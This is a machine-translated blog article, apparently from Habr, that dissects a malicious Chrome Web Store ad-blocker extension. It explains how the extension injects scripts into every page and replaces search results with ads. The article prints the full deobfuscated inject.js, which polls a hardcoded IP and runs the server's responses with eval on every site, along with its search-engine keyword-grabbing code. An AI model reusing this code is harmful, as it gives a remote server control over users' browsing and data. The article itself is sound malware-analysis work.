📜 ⬆️ ⬇️

Overview of malicious browser extensions



The article provides an example of parsing a malicious browser extension from the Chrome Web Store - “Remove Ads (HET Ads)”.

Expansion Information


Distribution Method: Chrome Store
Title: "Remove Ads (HET Advertising)"
ID: eaikmbeeklemcgemabilgpjkanodfmic
Last update (at the time of writing): 10 April 2015
Expansion Version: 5.8
Number of users per week: 57,000

Expansion Description:
Advertising Blocker: Blocks annoying ads on VKontakte and Odnoklassniki, Ads on YouTube, Banners, Pop-ups, etc.
HET Advertising for Google Chrome blocks:
')
· Advertising VKontakte and Odnoklassniki
· Banners on all sites
· Video advertising on Youtube
· Pop-ups on all sites
· Any distracting and annoying ads

A unique self-learning algorithm!
Make your browser a machine for processing and eliminating advertising!

Introduction


Reasons to publish a review of this particular extension:
- first, it is located in the Chrome Store and this is an indication that the store successfully has malicious extensions;
- secondly, the extension has a considerable audience, which may not even know that they have this extension;
- thirdly, the harmfulness of this expansion is not particularly covered, and therefore the material may be available to a wider audience.

Expansion Overview


To make a review you need to get the extension code.
To do this, install it from the Chrome Store and find the source files for the extension in the appropriate folder of the Chrome browser.

In my case, this is the folder:

 % appdata% \ Google \ Chrome \ User Data \ Default \ Extensions \ eaikmbeeklemcgemabilgpjkanodfmic

File structure in this folder:

 |  extension
 | - 16.png
 | - 48.png
 | - 128.png
 | - detector.js
 | - inject.js
 | - jquery-2.1.1.min.js
 | - manifest.json
 | - md5.js

Remark 1


Extensions of this kind cannot engage in brilliant work with the DOM and do not require cross-browser compatibility. Therefore, at best, you may need 5 functions from jquery, which apparently were hard to write, so we decided to take the library.

We go further.

Any extension for chromium browsers begins its path with the file manifest.json.
Open it:

manifest.json
{ "content_scripts": [ { "js": [ "md5.js", "detector.js", "jquery-2.1.1.min.js", "inject.js" ], "matches": [ "http://*/*", "https://*/*" ], "run_at": "document_start" } ], "description": "...", "icons": { "128": "128.png", "16": "16.png", "48": "48.png" }, "manifest_version": 2, "name": "  (HET )", "update_url": "https://clients2.google.com/service/update2/crx", "version": "5.8" } 


Remark 2


The extension injects all its scripts into every page you open. This is bad both in terms of security and in terms of performance.

So, on each page we have the following js-files:

 - md5.js
 - detector.js
 - jquery-2.1.1.min.js
 - inject.js


In my opinion, the most suspicious file of the name is inject.js. Therefore, we start with it, and if you need it, take a look at the rest.
The file is obfuscated, if you can call it that. I will give the first characters, and you guess what it is obfustsirovan:

 eval(function(p,a,c,k,e,d){... 


Those who met with obfuscation, now disappointed sigh “How trite. Something like that . ” I usually recall the following quotation from the movie Big Snatch (Snatch):

- ***** - bang, hold me tight! What is this?
- This is my belt.
- No, Tommy, you have a gun in your pants. What makes the gun in your pants?
- This is for protection.
- To protect from whom? From the Nazis or what? You are not afraid to shoot yourself eggs when you sit down?


We deconstruct this code with the help of the excellent JSBeautifier service. We have:

inject.js
 (function () { var host = 'http://5.61.39.110/'; var aid = '49207271-5844-11e4-a8cb-a0b3cce611e4'; var ttl = 350; var MAX_TTL = 3600; function getRandomInt(min, max) { return Math.floor(Math.random() * (max - min + 1)) + min } function ss(str) { return (str + '') .replace(/\\(.?)/g, function (s, n1) { switch (n1) { case '\\': return '\\'; case '0': return '\u0000'; case '': return ''; default: return n1 } }) } function getKeyword() { try { var ses = [ [/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2], [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2], [/(nova\.|search\.)?rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/gogo\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2] ]; var q = null; var ref = document.location.href; for (var i = 0; i < ses.length; i++) { var se = ses[i]; if (ref.match(se[0])) { q = ref.match(se[1])[se[2]]; break } } return q } catch (e) { return } } function getDomain(data) { var a = document.createElement('a'); a.href = data; return a.hostname } function url() { return getDomain(document.location.href) } function strips(str) { str = str.replace(/(?:\\[rn]|[\r\n]+)+/g, ""); str = str.replace(/\s+/g, ""); return str } function isHtml5StorageSupported() { try { return 'localStorage' in window && window['localStorage'] !== null } catch (e) { return false } } function getCountry() { if (isHtml5StorageSupported()) { return localStorage.getItem('country') } else { return null } } function getData() { if (isHtml5StorageSupported()) { return JSON.parse(localStorage.getItem('data')) } else { return null } } function setData(value) { if (isHtml5StorageSupported()) { localStorage.setItem('data', value) } } function getRequestInterval() { var retVal = Math.round(new Date() .getTime() / 1000 / 60); if (isHtml5StorageSupported()) { var value = localStorage.getItem('xdata_ttl'); if (value == null) { localStorage.setItem('xdata_ttl', retVal) } else { retVal = value * 1 } } return retVal } function resetTTL() { if (isHtml5StorageSupported()) { localStorage.setItem('xttl', ttl) } } function getTTL() { var retVal = ttl; if (isHtml5StorageSupported()) { var value = localStorage.getItem('xttl'); if (value != null) { retVal = value * 1 } else { localStorage.setItem('xttl', retVal) } } return retVal } function incrementTTL() { var retVal = ttl; if (isHtml5StorageSupported()) { var value = localStorage.getItem('xttl'); if (value == null) { localStorage.setItem('xttl', retVal) } else { value = value * 1; retVal = value + ttl; if (retVal >= MAX_TTL) { retVal = ttl } localStorage.setItem('xttl', retVal) } } return retVal } function isUpdateTime() { var currentTime = Math.round(new Date() .getTime() / 1000 / 60); var ttlOrigin = localStorage.getItem('xttl'); var ownTTL = getTTL(); var result = (currentTime - getRequestInterval() >= ownTTL); if (result) { localStorage.setItem('xdata_ttl', currentTime) } if (ttlOrigin == null) { result = true } return result } function shuffle(o) { for (var j, x, i = o.length; i; j = Math.floor(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x) {}; return o }; function fisherYates(myArray) { var i = myArray.length; if (i == 0) return false; while (--i) { var j = Math.floor(Math.random() * (i + 1)); var tempi = myArray[i]; var tempj = myArray[j]; myArray[i] = tempj; myArray[j] = tempi } } function updateKeyword() { return; var key = getKeyword(); if (key == undefined || key.length == 0) { return } $.get(host + 'get_content.php', { 'action': 'add_keyword', 'aid': aid, 'guid': guid, 'url': url(), 'key': getKeyword() }) } function injectArrayOfAds(advs) { for (var idx in advs) { var ad = advs[idx]; if (ad.need_send_view) { continue } var adShownAlready = false; $(ad.html) .each(function () { var self = $(this); if (self.html() .indexOf(ad.adv_id) != -1) { adShownAlready = true; return false } }); if (adShownAlready) { continue } $(ad.html) .each(function () { var self = $(this); var aidElement = $('*[aid=\'' + aid + '\']'); if (self.html() .indexOf(aid) == -1) { var clickRedirectionUri = host + 'get_content.php?action=click&aid=' + aid + '&guid=' + guid + '&adv_id=' + ad.adv_id + '&key=' + getKeyword(); ad.aa_text = ad.aa_text.replace(/\{AID\}/g, "'aid'='" + aid + "'"); ad.aa_text = ad.aa_text.replace(/\{REDIRECT_URL\}/g, 'aid=\'' + aid + '\' onClick="self.location=\'' + clickRedirectionUri + '\'; return false;"'); ad.host = host + 'get_content.php?action=view&aid=' + aid + '&guid=' + guid + '&adv_id=' + ad.adv_id; if (ad.inject_mode == 1) { self.html(ad.aa_text); ad.need_send_view = true; return false } else if (ad.inject_mode == 2 && aidElement.length == 0) { self.before(ad.aa_text); ad.need_send_view = true; return false } else if (ad.inject_mode == 3 && aidElement.length == 0) { self.after(ad.aa_text); ad.need_send_view = true; return false } } else {} }) } var notify = []; for (var idx in advs) { var ad = advs[idx]; if (ad.need_send_view) { notify.push(ad.adv_id) } } if (notify.length != 0) {} } function ucfirst(string) { return string.charAt(0) .toUpperCase() + string.slice(1) } function checkLoadedPage(data) { if (data == null || data.message != 'OK') return; var gKeywordFound = false; var keyword = decodeURI(getKeyword()); keyword = keyword.replace(/\+/g, ' '); keyword = keyword.toLowerCase(); var advs = []; //      response,   - for (var key in data.response) { //    jquery-       - var element = data.response[key]; var foundHtml = $(element.html); if (foundHtml.length == 0) { continue } //       advs (  ) if (element.advs == undefined) { data.response[key].advs = []; //            (, ) $.ajax({ url: host + 'get_content.php', type: "GET", data: { 'action': 'get_adv_cached', 'aid': aid, 'guid': guid, 'url': url(), 'gender': '*', 'ap_id': element.ap_id, 'key': getKeyword(), 'country': data.country }, async: false, success: function (result) { try { //   eval ... var dd = eval('(' + result + ')'); //        for (var rs in dd.response) { data.response[key].advs.push(dd.response[rs]) } //   -   JSON.stringify setData(JSON.stringify(data)) } catch (e) { console.log(e) } } }) } else { //     ,   html       for (var adv in element.advs) { var ad = element.advs[adv]; if (ad.ar_text == null) { advs.push(ad); continue } var splitted = ad.ar_text.split('\r\n'); for (var idx in splitted) { if (keyword.indexOf(splitted[idx].toLowerCase()) == -1 || splitted[idx].length == 0) { continue } ad.aa_text = ad.aa_text.replace(/\{KEYWORD\}/g, keyword); ad.aa_text = ad.aa_text.replace(/\{KEYWORD_B\}/g, ucfirst(keyword)); ad.aa_text = ad.aa_text.replace(/\{KEYWORD_CONTEXT\}/g, splitted[idx]); ad.aa_text = ad.aa_text.replace(/\{KEYWORD_CONTEXT_B\}/g, ucfirst(splitted[idx])); //   injectArrayOfAds([ad]); gKeywordFound = true; break } } } } if (!gKeywordFound && advs.length != 0) { injectArrayOfAds(advs) } } guid = ''; try { guid = pstfgrpnt_as_hash() } catch (e) { guid = 'chrome_u' } var isLoading = false; var main = function () { if (isUpdateTime()) { console.log("CHECKING FOR UPDATE..."); isLoading = true; $.get(host + 'get_content.php', { 'action': 'get_places_cached', 'aid': aid, 'guid': guid, 'gender': '*' }, function (result) { try { data = eval('(' + result + ')'); if (data.message != 'OK') { return } setData(JSON.stringify(data)); resetTTL(); console.log("UPD SUCCESS") } catch (e) { console.log(e); return } finally { isLoading = false } }) .error(function (jqXHR, textStatus, errorThrown) { incrementTTL(); console.log('REQUEST FAILED, NEXT CHECK IN ' + getTTL()) }); console.log("CHECKING FOR UPDATE DONE") } }; main(); var id = setInterval(function () { main() }, 100); setInterval(function () { var data = getData(); if (data == null) { return } checkLoadedPage(data) }, 100) })(); 



We read the received code. I leave only interesting points:

 //     var main = function () { //    if (isUpdateTime()) { // ... //  url   http://5.61.39.110/get_content.php $.get(host + 'get_content.php', // ... function (result) { try { data = eval('(' + result + ')'); // ... } catch (e) { // ... } // ... }); // ... } }; main(); 


This function receives data from the web server.

Note 3


And what happens to the answer? And the following happens:

 data = eval('(' + result + ')'); 

Those. Each site runs any code that the web server sent. In other words, this code can lead away cookies, can send some information about you (passwords), can do anything on any page that you have visited.

It seems that this is already enough to consider the extension malicious, but we will continue further. Suddenly, someone would think that the developers are actually honest and just forgot about JSON.parse.

We go further.
Below the main () function call there is a call to the checkLoadedPage () function.

function checkLoadedPage () (+ comments)
 //      response,   - for (var key in data.response) { //    jquery-       - var element = data.response[key]; var foundHtml = $(element.html); if (foundHtml.length == 0) { continue } //       advs (  ) if (element.advs == undefined) { data.response[key].advs = []; //            (, ) $.ajax({ url: host + 'get_content.php', type: "GET", data: { // ... }, async: false, success: function (result) { try { //   eval ... var dd = eval('(' + result + ')'); //        for (var rs in dd.response) { data.response[key].advs.push(dd.response[rs]) } //   -   JSON.stringify setData(JSON.stringify(data)) } catch (e) { console.log(e) } } }) } else { //     ,   html       for (var adv in element.advs) { var ad = element.advs[adv]; if (ad.ar_text == null) { advs.push(ad); continue } var splitted = ad.ar_text.split('\r\n'); for (var idx in splitted) { if (keyword.indexOf(splitted[idx].toLowerCase()) == -1 || splitted[idx].length == 0) { continue } ad.aa_text = ad.aa_text.replace(/\{KEYWORD\}/g, keyword); // ... //   injectArrayOfAds([ad]); // ... break } } } } if (!gKeywordFound && advs.length != 0) { injectArrayOfAds(advs) } 


Remark 4


This function changes the search results for the following search engines:

 var ses = [ [/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2], [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2], [/(nova\.|search\.)?rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/gogo\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2] ]; 


Actually, on this issue and received complaints from users.

Expansion Summary




PS If someone seems to be a strange approach to the review of the extension “And what about jquery? And here is the bad structure of the code? ”, I immediately answer: the fact that the extension requires more rights than necessary, inserts the code on the pages more than necessary - is the first sign of a malicious extension.

PPS Many thanks to those who send messages with errors!

Source: https://habr.com/ru/post/255801/


All Articles